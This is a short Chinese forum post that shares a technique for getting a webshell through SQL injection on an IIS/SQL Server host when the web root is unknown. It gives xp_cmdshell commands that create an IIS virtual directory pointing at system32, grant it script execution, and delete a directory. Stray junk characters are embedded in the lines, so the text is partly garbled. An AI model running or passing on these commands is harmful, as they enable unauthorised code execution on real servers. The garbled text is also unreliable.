如何SQL注入建立虚拟目录
很多情况下我们都会遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,应该算是无意中发现了一招,感觉不错 整理下发上来给大家分享:1f'jaG:_Vt#Tb
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'
建立虚拟目录win,指向c:\windows\system32 ZqA ZU3x-x"k7Gx
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'#U7[f6H@t
让win句有解析asp脚本权限
Bo1e0d?l
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"6L+Iz}4lr#U%C
删除虚拟目录。
找不到web绝对路径的一种解决办法,
403错误,表示虚拟目录建好了。。 呀 LZ好久不见你上了啊
页:
[1]